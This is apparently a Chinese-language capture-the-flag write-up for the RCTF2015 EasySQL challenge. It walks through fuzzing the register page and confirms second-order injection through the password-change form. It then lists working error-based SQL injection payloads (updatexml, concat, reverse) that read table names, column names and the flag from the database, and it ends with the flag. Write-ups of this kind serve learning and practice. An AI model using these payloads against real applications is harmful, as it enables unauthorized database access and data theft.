RCTF2015EasySQL

知识点

二次注入、报错注入

解题

打开题目,看到的是login和register,在register.php那里进行fuzz测试

112.png

113.png

对username,password,email 进行fuzz,发现过滤了:

substr 、 order by 、sleep、ascii、mid、like、ord、left、空格、/**/等

注册的时候试一下双引号/单引号

114.png

发现可以成功注册,然后在修改密码那里进行密码修改:

4.png

115.png

发现报错了,可以猜想一下后台的语句是:

1
update users set password='xxxx' where username="xxxx" and pwd='202cb962ac59075b964b07152d234b70'

可以判断是二次注入+报错注入了

走流程:

爆表:

myangs”||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.columns)where(table_schema=database())),0x7e),1))#

116.png

看到flag表(这里因为经过测试flag表里面没有Flag,就不重复写了)

爆字段名:

flag在users里面,我们来爆破users的字段名:

myangs”||(updatexml(1,concat(0x3a,(select(group_concat(column_name))from(information_schema.columns)where(table_name=’users’)&&(column_name)regexp(‘^r’))),1))#

117.png

这里用regexp来匹配,因为group_concat()显示的字符是有限的, 我们尽可能去显示有用的信息。

爆值:

myangs”||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f’))),1))#

118.png

可以看到,只能爆破出一部分,还是因为长度限制。那我们就逆序输出一下,然后拼接,这里用到逆序函数 reverse()。

myangs”||(updatexml(1,concat(0x3a,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f’)))),1))#

119.png

然后反转一下,直接用python写一个

120.png

然后拼接一下:

flag{245efb08-7717-4eaf-a4d9-9b59784e80d5}